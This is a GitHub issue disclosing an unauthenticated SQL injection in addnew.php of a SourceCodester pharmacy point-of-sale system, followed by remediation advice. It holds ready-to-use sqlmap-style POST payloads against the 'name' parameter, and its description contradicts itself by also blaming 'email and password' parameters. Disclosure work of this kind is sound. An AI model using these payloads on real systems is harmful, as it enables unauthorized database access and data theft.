You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 addnew.php SQL injection vulnerability
#46
Open
CveSecLook opened this issue
Jun 28, 2024
· 0 comments
SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 addnew.php SQL injection vulnerability
NAME OF AFFECTED PRODUCT(S)
Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code
A SQL injection vulnerability was found in the 'addnew.php' file of the 'Pharmacy/Medical Store Point of Sales System Using PHP/MySQL and Bootstrap Framework with Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "name" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations.
Impact
Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity.
DESCRIPTION
During the security review of the "Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code," zhang jie discovered a critical SQL injection vulnerability in the addnew.php file. This vulnerability stems from inadequate validation of user inputs for the email and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.
No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability type:
boolean-based blind
error-based
time-based blind
Vulnerability location:
'name' parameter
Payload:
name=1' RLIKE (SELECT (CASE WHEN (7983=7983) THEN 1 ELSE 0x28 END)) AND 'GECC'='GECC&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
name=1' AND (SELECT 3770 FROM(SELECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(3770=3770,1))),0x717a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AMzq'='AMzq&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
name=1' AND (SELECT 6488 FROM (SELECT(SLEEP(5)))HZvY) AND 'gIvd'='gIvd&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
Parameter: name (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: name=1' RLIKE (SELECT (CASE WHEN (7983=7983) THEN 1 ELSE 0x28 END)) AND 'GECC'='GECC&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: name=1' AND (SELECT 3770 FROM(SELECT COUNT(*),CONCAT(0x7170786a71,(SELECT (ELT(3770=3770,1))),0x717a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'AMzq'='AMzq&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: name=1' AND (SELECT 6488 FROM (SELECT(SLEEP(5)))HZvY) AND 'gIvd'='gIvd&unit=1&price=1&supplier=1&company=1&catId=4&discription=1&saveProduct=
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
The text was updated successfully, but these errors were encountered:
SourceCodester Pharmacy/Medical Store Point of Sale System Using PHP/MySQL and Bootstrap Framework with Source Code 1.0 addnew.php SQL injection vulnerability
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
AFFECTED AND/OR FIXED VERSION(S)
submitter
Vulnerable File
VERSION(S)
Software Link
PROBLEM TYPE
Vulnerability Type
Root Cause
Impact
DESCRIPTION
addnew.php
file. This vulnerability stems from inadequate validation of user inputs for the email and password parameters, allowing attackers to inject malicious SQL queries. As a result, attackers can gain unauthorized access to the database, modify or delete data, and access sensitive information. Immediate remediation is required to secure the system and protect data integrity.No login or authorization is required to exploit this vulnerability
Vulnerability details and POC
Vulnerability type:
Vulnerability location:
Payload:
The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
Suggested repair
Use prepared statements and parameter binding:
Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.
Input validation and filtering:
Strictly validate and filter user input data to ensure it conforms to the expected format.
Minimize database user permissions:
Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
The text was updated successfully, but these errors were encountered: